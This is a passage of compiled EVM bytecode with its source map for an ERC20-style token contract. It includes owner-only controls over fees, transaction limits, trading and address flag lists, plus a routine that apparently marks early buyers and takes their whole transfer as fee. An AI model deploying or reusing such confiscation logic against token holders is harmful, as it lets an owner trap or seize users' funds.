cd60e51b8152600401610d359061280f565b6107d182106110a857600080fd5b60006110b483836128db565b336000908152600560205260409020549091508111156110d357600080fd5b60005b838110156111225761110f338686848181106110f4576110f461297d565b90506020020160208101906111099190612511565b85611dcf565b508061111a8161294c565b9150506110d6565b5050505050565b6000546001600160a01b031633146111535760405162461bcd60e51b8152600401610d359061280f565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000546001600160a01b031633146111a55760405162461bcd60e51b8152600401610d359061280f565b60085543600755565b6000546001600160a01b031633146111d85760405162461bcd60e51b8152600401610d359061280f565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461122d5760405162461bcd60e51b8152600401610d359061280f565b601b55565b6000546001600160a01b0316331461125c5760405162461bcd60e51b8152600401610d359061280f565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146112b15760405162461bcd60e51b8152600401610d359061280f565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b0316331461132b5760405162461bcd60e51b8152600401610d359061280f565b6000600755565b606060028054610c7190612911565b6000546001600160a01b0316331461136b5760405162461bcd60e51b8152600401610d359061280f565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000610d013384610e19856040518060600160405280602581526020016129d1602591393360009081526006602090815260408083206001600160a01b038d1684529091529020549190611d53565b6000546001600160a01b0316331461140f5760405162461bcd60e51b8152600401610d359061280f565b601c55565b6000610e1e33848461195a565b6000546001600160a01b0316331461144b5760405162461bcd60e51b8152600401610d359061280f565b60c9821061145857600080fd5b60005b8281101561101b5781600d600086868581811061147a5761147a61297d565b905060200201602081019061148f9190612511565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556114c08161294c565b905061145b565b6000546001600160a01b031633146114f15760405162461bcd60e51b8152600401610d359061280f565b601f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146115395760405162461bcd60e51b8152600401610d359061280f565b60148390556015829055601681905561155681610db08585611716565b601955505050565b6000546001600160a01b031633146115885760405162461bcd60e51b8152600401610d359061280f565b601f8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906115d590831515815260200190565b60405180910390a150565b6000546001600160a01b0316331461160a5760405162461bcd60e51b8152600401610d359061280f565b6001600160a01b03811661166f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610d35565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146116f45760405162461bcd60e51b8152600401610d359061280f565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60008061172383856128a1565b905083811015610e225760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610d35565b60008261178457506000610d05565b600061179083856128db565b90508261179d85836128b9565b14610e225760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610d35565b6000610e2283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611eb5565b6001600160a01b0383166118985760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610d35565b6001600160a01b0382166118f95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610d35565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166119c05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610d35565b6001600160a01b038316611a225760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610d35565b601f54600160a01b900460ff1615611a4657611a3f848484611dcf565b9050610e22565b6001600160a01b0384166000908152600b602052604090205460ff16158015611a8857506001600160a01b0383166000908152600b602052604090205460ff16155b15611aa257611a9982601b54101590565b611aa257600080fd5b30600090815260056020526040902054601d5481108015908190611ad05750601f54600160a01b900460ff16155b8015611af557506001600160a01b0386166000908152600c602052604090205460ff16155b8015611b0a5750601f54600160a81b900460ff165b15611b3057601f54600160b01b900460ff1615611b2757601d5491505b611b3082611ee3565b611b3a868661201e565b15611bab576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260059091529190912054611b91918690611d53565b6001600160a01b0387166000908152600560205260409020555b6001600160a01b03861660009081526009602052604081205460ff1680611bea57506001600160a01b03861660009081526009602052604090205460ff165b15611bf6575083611c5a565b600060075411611c0557600080fd5b611c1943600854600754610a5c91906128a1565b8015611c3e57506001600160a01b0386166000908152600c602052604090205460ff16155b15611c4c57611c4c86612056565b611c578787876120c4565b90505b601f54600160b81b900460ff168015611c8c57506001600160a01b0386166000908152600a602052604090205460ff16155b15611cc857611cbf611cb782610db0896001600160a01b031660009081526005602052604090205490565b601c54101590565b611cc857600080fd5b6001600160a01b038616600090815260056020526040902054611ceb9082611716565b6001600160a01b0380881660008181526005602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611d3f9085815260200190565b60405180910390a360019350505050610e22565b60008184841115611d775760405162461bcd60e51b8152600401610d3591906127ba565b506000611d8484866128fa565b95945050505050565b6000610e2283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d53565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600590915291822054611e20918490611d53565b6001600160a01b038086166000908152600560205260408082209390935590851681522054611e4f9083611716565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611ea39086815260200190565b60405180910390a35060019392505050565b60008183611ed65760405162461bcd60e51b8152600401610d3591906127ba565b506000611d8484866128b9565b601f805460ff60a01b1916600160a01b179055601954601454600091611f1991600291611f139182908790611775565b906117f4565b90506000611f278383611d8d565b9050611f3281612213565b6014544790600090611f5290611f499060026117f4565b60195490611d8d565b90506000611f746002611f1384611f136014548861177590919063ffffffff16565b90506000611f9183611f136016548761177590919063ffffffff16565b90506000611fa982611fa38786611d8d565b90611d8d565b90508015611fcc57600354611fcc9061010090046001600160a01b0316826123b5565b8115611fe857600454611fe8906001600160a01b0316836123b5565b600083118015611ff85750600087115b156120075761200787846123f0565b5050601f805460ff60a01b19169055505050505050565b6000816001600160a01b0316836001600160a01b0316141580610e2257506004546001600160a01b0384811691161415905092915050565b6001600160a01b0381166000908152600d602052604090205460ff1615801561209857506001600160a01b0381166000908152600c602052604090205460ff16155b156120c1576001600160a01b0381166000908152600d60205260409020805460ff191660011790555b50565b6001600160a01b0383166000908152600c6020526040812054819060ff1615612108576121016064611f136017548661177590919063ffffffff16565b9050612146565b6001600160a01b0384166000908152600c602052604090205460ff1615612146576121436064611f136018548661177590919063ffffffff16565b90505b6001600160a01b0385166000908152600d602052604090205460ff16801561218757506001600160a01b0385166000908152600c602052604090205460ff16155b1561218f5750815b801561220957306000908152600560205260409020546121af9082611716565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906122009085815260200190565b60405180910390a35b611d848382611d8d565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106122485761224861297d565b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561229c57600080fd5b505afa1580156122b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122d4919061252e565b816001815181106122e7576122e761297d565b6001600160a01b039283166020918202929092010152601e5461230d9130911684611836565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790612346908590600090869030904290600401612865565b600060405180830381600087803b15801561236057600080fd5b505af1158015612374573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516123a9929190612844565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156123eb573d6000803e3d6000fd5b505050565b601e546124089030906001600160a01b031684611836565b601e546004805460405163f305d71960e01b815230928101929092526024820185905260006044830181905260648301526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c4016060604051808303818588803b15801561247757600080fd5b505af115801561248b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111229190612748565b60008083601f8401126124c257600080fd5b50813567ffffffffffffffff8111156124da57600080fd5b6020830191508360208260051b85010111156124f557600080fd5b9250929050565b8035801515811461250c57600080fd5b919050565b60006020828403121561252357600080fd5b8135610e2281612993565b60006020828403121561254057600080fd5b8151610e2281612993565b6000806040838503121561255e57600080fd5b823561256981612993565b9150602083013561257981612993565b809150509250929050565b60008060006060848603121561259957600080fd5b83356125a481612993565b925060208401356125b481612993565b929592945050506040919091013590565b600080604083850312156125d857600080fd5b82356125e381612993565b91506125f1602084016124fc565b90509250929050565b6000806040838503121561260d57600080fd5b823561261881612993565b946020939093013593505050565b60008060006040848603121561263b57600080fd5b833567ffffffffffffffff81111561265257600080fd5b61265e868287016124b0565b90945092506126719050602085016124fc565b90509250925092565b60008060006040848603121561268f57600080fd5b833567ffffffffffffffff8111156126a657600080fd5b6126b2868287016124b0565b909790965060209590950135949350505050565b6000602082840312156126d857600080fd5b610e22826124fc565b6000602082840312156126f357600080fd5b5035919050565b6000806040838503121561270d57600080fd5b50508035926020909101359150565b60008060006060848603121561273157600080fd5b505081359360208301359350604090920135919050565b60008060006060848603121561275d57600080fd5b8351925060208401519150604084015190509250925092565b600081518084526020808501945080840160005b838110156127af5781516001600160a01b03168752958201959082019060010161278a565b509495945050505050565b600060208083528351808285015260005b818110156127e7578581018301518582016040015282016127cb565b818111156127f9576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b82815260406020820152600061285d6040830184612776565b949350505050565b85815284602082015260a06040820152600061288460a0830186612776565b6001600160a01b0394909416606083015250608001529392505050565b600082198211156128b4576128b4612967565b500190565b6000826128d657634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156128f5576128f5612967565b500290565b60008282101561290c5761290c612967565b500390565b600181811c9082168061292557607f821691505b6020821081141561294657634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561296057612960612967565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146120c157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207232660b78e9dfed682d10fa3f547569864bf521912b9889a841b6d222062d9e64736f6c63430008070033
Deployed Bytecode Sourcemap
21069:499:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4786:25;;;;;;;;;;;;;;;;;;;10664::1;;;10652:2;10637:18;4786:25:0;;;;;;;;8742:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;10036:161::-;;;;;;;;;;-1:-1:-1;10036:161:0;;;;;:::i;:::-;;:::i;:::-;;;6511:14:1;;6504:22;6486:41;;6474:2;6459:18;10036:161:0;6346:187:1;5584:26:0;;;;;;;;;;;;;;;;5701:41;;;;;;;;;;-1:-1:-1;5701:41:0;;;;-1:-1:-1;;;;;5701:41:0;;;;;;-1:-1:-1;;;;;5458:32:1;;;5440:51;;5428:2;5413:18;5701:41:0;5294:203:1;9019:100:0;;;;;;;;;;-1:-1:-1;9099:12:0;;9019:100;;15049:109;;;;;;;;;;-1:-1:-1;15049:109:0;;;;;:::i;:::-;;:::i;:::-;;11497:259;;;;;;;;;;-1:-1:-1;11497:259:0;;;;;:::i;:::-;;:::i;13862:313::-;;;;;;;;;;-1:-1:-1;13862:313:0;;;;;:::i;:::-;;:::i;4532:81::-;;;;;;;;;;;;;;;10826:135;;;;;;;;;;-1:-1:-1;10826:135:0;;;;;:::i;:::-;;:::i;13323:128::-;;;;;;;;;;;;;:::i;8928:83::-;;;;;;;;;;-1:-1:-1;8994:9:0;;8928:83;;8994:9;;;;11766:36:1;;11754:2;11739:18;8928:83:0;11624:184:1;9405:218:0;;;;;;;;;;-1:-1:-1;9405:218:0;;;;;:::i;:::-;;:::i;12619:124::-;;;;;;;;;;-1:-1:-1;12619:124:0;;;;;:::i;:::-;;:::i;13186:125::-;;;;;;;;;;-1:-1:-1;13186:125:0;;;;;:::i;:::-;;:::i;4447:36::-;;;;;;;;;;-1:-1:-1;4447:36:0;;;;;;;-1:-1:-1;;;;;4447:36:0;;;4988:45;;;;;;;;;;-1:-1:-1;4988:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4879:47;;;;;;;;;;-1:-1:-1;4879:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5816:40;;;;;;;;;;-1:-1:-1;5816:40:0;;;;-1:-1:-1;;;5816:40:0;;;;;;10969:260;;;;;;;;;;-1:-1:-1;10969:260:0;;;;;:::i;:::-;;:::i;4933:48::-;;;;;;;;;;-1:-1:-1;4933:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5314:30;;;;;;;;;;;;;;;;11237:252;;;;;;;;;;-1:-1:-1;11237:252:0;;;;;:::i;:::-;;:::i;5915:29::-;;;;;;;;;;-1:-1:-1;5915:29:0;;;;-1:-1:-1;;;5915:29:0;;;;;;5351:30;;;;;;;;;;;;;;;;14286:368;;;;;;;;;;-1:-1:-1;14286:368:0;;;;;:::i;:::-;;:::i;12751:121::-;;;;;;;;;;-1:-1:-1;12751:121:0;;;;;:::i;:::-;;:::i;9127:119::-;;;;;;;;;;-1:-1:-1;9127:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;9220:18:0;9193:7;9220:18;;;:9;:18;;;;;;;9127:119;15166:113;;;;;;;;;;-1:-1:-1;15166:113:0;;;;;:::i;:::-;;:::i;14183:95::-;;;;;;;;;;-1:-1:-1;14183:95:0;;;;;:::i;:::-;-1:-1:-1;;;;;14257:13:0;14233:4;14257:13;;;:4;:13;;;;;;;;;14183:95;5461:33;;;;;;;;;;;;;;;;10550:129;;;;;;;;;;-1:-1:-1;10550:129:0;;;;;:::i;:::-;;:::i;12138:113::-;;;;;;;;;;-1:-1:-1;12138:113:0;;;;;:::i;:::-;;:::i;5200:32::-;;;;;;;;;;;;;;;;12362:125;;;;;;;;;;-1:-1:-1;12362:125:0;;;;;:::i;:::-;;:::i;2799:79::-;;;;;;;;;;-1:-1:-1;2837:7:0;2864:6;-1:-1:-1;;;;;2864:6:0;2799:79;;3024:155;;;;;;;;;;;;;:::i;15637:74::-;;;;;;;;;;;;;:::i;8833:87::-;;;;;;;;;;;;;:::i;5618:27::-;;;;;;;;;;;;;;;;9908:120;;;;;;;;;;-1:-1:-1;9997:23:0;;9908:120;;5501:39;;;;;;;;;;;;;;;;10687:127;;;;;;;;;;-1:-1:-1;10687:127:0;;;;;:::i;:::-;;:::i;9631:269::-;;;;;;;;;;-1:-1:-1;9631:269:0;;;;;:::i;:::-;;:::i;12495:116::-;;;;;;;;;;-1:-1:-1;12495:116:0;;;;;:::i;:::-;;:::i;5388:25::-;;;;;;;;;;;;;;;;4822:50;;;;;;;;;;-1:-1:-1;4822:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13687:167;;;;;;;;;;-1:-1:-1;13687:167:0;;;;;:::i;:::-;;:::i;17689:86::-;;;;;;;;;;-1:-1:-1;17689:86:0;;;;;:::i;:::-;-1:-1:-1;17768:4:0;;17689:86;14805:236;;;;;;;;;;-1:-1:-1;14805:236:0;;;;;:::i;:::-;;:::i;12259:95::-;;;;;;;;;;-1:-1:-1;12259:95:0;;;;;:::i;:::-;;:::i;11768:358::-;;;;;;;;;;-1:-1:-1;11768:358:0;;;;;:::i;:::-;;:::i;5161:26::-;;;;;;;;;;;;;;;;13007:171;;;;;;;;;;-1:-1:-1;13007:171:0;;;;;:::i;:::-;;:::i;5123:31::-;;;;;;;;;;;;;;;;5749:26;;;;;;;;;;-1:-1:-1;5749:26:0;;;;-1:-1:-1;;;;;5749:26:0;;;5239:32;;;;;;;;;;;;;;;;5278:27;;;;;;;;;;;;;;;;4753:26;;;;;;;;;;;;;;;;5863:45;;;;;;;;;;-1:-1:-1;5863:45:0;;;;-1:-1:-1;;;5863:45:0;;;;;;5085:31;;;;;;;;;;;;;;;;9254:143;;;;;;;;;;-1:-1:-1;9254:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;9362:18:0;;;9335:7;9362:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9254:143;4490:35;;;;;;;;;;-1:-1:-1;4490:35:0;;;;-1:-1:-1;;;;;4490:35:0;;;5422:32;;;;;;;;;;;;;;;;3187:244;;;;;;;;;;-1:-1:-1;3187:244:0;;;;;:::i;:::-;;:::i;12880:119::-;;;;;;;;;;-1:-1:-1;12880:119:0;;;;;:::i;:::-;;:::i;8742:83::-;8779:13;8812:5;8805:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8742:83;:::o;10036:161::-;10111:4;10128:39;189:10;10151:7;10160:6;10128:8;:39::i;:::-;-1:-1:-1;10185:4:0;10036:161;;;;;:::o;15049:109::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;15126:15:0;;;::::1;;::::0;;;:4:::1;:15;::::0;;;;:24;;-1:-1:-1;;15126:24:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15049:109::o;11497:259::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;11576:17:::1;:21:::0;;;11608:17:::1;:21:::0;;;11640:12:::1;:16:::0;;;11690:58:::1;11655:1:::0;11690:40:::1;11596:1:::0;11628;11690:21:::1;:40::i;:::-;:44:::0;::::1;:58::i;:::-;11669:18;:79:::0;-1:-1:-1;;;11497:259:0:o;13862:313::-;13960:4;13977:36;13987:6;13995:9;14006:6;13977:9;:36::i;:::-;-1:-1:-1;14024:121:0;14033:6;189:10;14055:89;14093:6;14055:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14055:19:0;;;;;;:11;:19;;;;;;;;189:10;14055:33;;;;;;;;;;:37;:89::i;:::-;14024:8;:121::i;:::-;-1:-1:-1;14163:4:0;13862:313;;;;;;:::o;10826:135::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10916:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:37;;-1:-1:-1;;10916:37:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10826:135::o;13323:128::-;13430:11;-1:-1:-1;;;;;9220:18:0;13376:7;9220:18;;;:9;:18;;;;;;13403:12;;:40;;:16;:40::i;:::-;13396:47;;13323:128;:::o;9405:218::-;189:10;9493:4;9542:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9542:34:0;;;;;;;;;;9493:4;;9510:83;;9533:7;;9542:50;;9581:10;9542:38;:50::i;12619:124::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;12701:23:::1;:34:::0;12619:124::o;13186:125::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;13267:25:::1;:36:::0;;;::::1;;-1:-1:-1::0;;;13267:36:0::1;-1:-1:-1::0;;;;13267:36:0;;::::1;::::0;;;::::1;::::0;;13186:125::o;10969:260::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;11097:3:::1;11078:22:::0;::::1;11070:31;;;::::0;::::1;;11117:9;11112:110;11128:20:::0;;::::1;11112:110;;;11204:6;11170:17;:31;11188:9;;11198:1;11188:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11170:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;11170:31:0;:40;;-1:-1:-1;;11170:40:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11150:3:::1;::::0;::::1;:::i;:::-;;;11112:110;;;;10969:260:::0;;;:::o;11237:252::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;11316:16:::1;:20:::0;;;11347:16:::1;:20:::0;;;11378:11:::1;:15:::0;;;11426:55:::1;11392:1:::0;11426:38:::1;11335:1:::0;11366;11426:20:::1;:38::i;:55::-;11406:17;:75:::0;-1:-1:-1;;;11237:252:0:o;14286:368::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;14418:4:::1;14399:23:::0;::::1;14391:32;;;::::0;::::1;;14434:12;14449:25;14458:9:::0;14449:6;:25:::1;:::i;:::-;14503:10;9193:7:::0;9220:18;;;:9;:18;;;;;;14434:40;;-1:-1:-1;14434:40:0;-1:-1:-1;14493:29:0::1;14485:38;;;::::0;::::1;;14538:6;14534:113;14548:20:::0;;::::1;14534:113;;;14589:46;14604:10;14615:9;;14625:1;14615:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;14628:6;14589:14;:46::i;:::-;-1:-1:-1::0;14570:3:0;::::1;::::0;::::1;:::i;:::-;;;;14534:113;;;;14380:274;14286:368:::0;;;:::o;12751:121::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;12829:13:::1;:35:::0;;-1:-1:-1;;;;;12829:35:0;;::::1;;;-1:-1:-1::0;;;;;;12829:35:0;;::::1;::::0;;;::::1;::::0;;12751:121::o;15166:113::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;15220:10:::1;:14:::0;15259:12:::1;15245:11;:26:::0;15166:113::o;10550:129::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10639:21:0;;;::::1;;::::0;;;:12:::1;:21;::::0;;;;:32;;-1:-1:-1;;10639:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10550:129::o;12138:113::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;12216:11:::1;:27:::0;12138:113::o;12362:125::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12448:22:0;;;::::1;;::::0;;;:14:::1;:22;::::0;;;;:31;;-1:-1:-1;;12448:31:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12362:125::o;3024:155::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;3112:6:::1;::::0;;3091:45:::1;::::0;3128:6:::1;::::0;-1:-1:-1;;;;;3112:6:0;;::::1;::::0;3091:45:::1;::::0;::::1;3147:6;:24:::0;;-1:-1:-1;;;;;;3147:24:0::1;3164:6;3147:24;::::0;;3024:155::o;15637:74::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;15702:1:::1;15688:11;:15:::0;15637:74::o;8833:87::-;8872:13;8905:7;8898:14;;;;;:::i;10687:127::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10774:23:0;;;::::1;;::::0;;;:15:::1;:23;::::0;;;;:32;;-1:-1:-1;;10774:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10687:127::o;9631:269::-;9724:4;9741:129;189:10;9764:7;9773:96;9812:15;9773:96;;;;;;;;;;;;;;;;;189:10;9773:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9773:34:0;;;;;;;;;;;;:38;:96::i;12495:116::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;12573:12:::1;:30:::0;12495:116::o;13687:167::-;13765:4;13782:42;189:10;13806:9;13817:6;13782:9;:42::i;14805:236::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;14922:3:::1;14903:22:::0;::::1;14895:31;;;::::0;::::1;;14942:9;14937:97;14953:20:::0;;::::1;14937:97;;;15016:6;14995:4;:18;15000:9;;15010:1;15000:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14995:18:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;14995:18:0;:27;;-1:-1:-1;;14995:27:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14975:3:::1;::::0;::::1;:::i;:::-;;;14937:97;;12259:95:::0;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;12325:10:::1;:21:::0;;;::::1;;-1:-1:-1::0;;;12325:21:0::1;-1:-1:-1::0;;;;12325:21:0;;::::1;::::0;;;::::1;::::0;;12259:95::o;11768:358::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;11909:15:::1;:35:::0;;;11955:15:::1;:35:::0;;;12001:10:::1;:25:::0;;;12066:52:::1;12014:12:::0;12066:36:::1;11927:17:::0;11973;12066:19:::1;:36::i;:52::-;12039:24;:79:::0;-1:-1:-1;;;11768:358:0:o;13007:171::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;13084:21:::1;:32:::0;;;::::1;;-1:-1:-1::0;;;13084:32:0::1;-1:-1:-1::0;;;;13084:32:0;;::::1;;::::0;;13132:38:::1;::::0;::::1;::::0;::::1;::::0;13108:8;6511:14:1;6504:22;6486:41;;6474:2;6459:18;;6346:187;13132:38:0::1;;;;;;;;13007:171:::0;:::o;3187:244::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3276:22:0;::::1;3268:73;;;::::0;-1:-1:-1;;;3268:73:0;;7980:2:1;3268:73:0::1;::::0;::::1;7962:21:1::0;8019:2;7999:18;;;7992:30;8058:34;8038:18;;;8031:62;-1:-1:-1;;;8109:18:1;;;8102:36;8155:19;;3268:73:0::1;7778:402:1::0;3268:73:0::1;3378:6;::::0;;3357:38:::1;::::0;-1:-1:-1;;;;;3357:38:0;;::::1;::::0;3378:6;::::1;::::0;3357:38:::1;::::0;::::1;3406:6;:17:::0;;-1:-1:-1;;;;;;3406:17:0::1;-1:-1:-1::0;;;;;3406:17:0;;;::::1;::::0;;;::::1;::::0;;3187:244::o;12880:119::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;12957:12:::1;:34:::0;;-1:-1:-1;;;;;;12957:34:0::1;-1:-1:-1::0;;;;;12957:34:0;;;::::1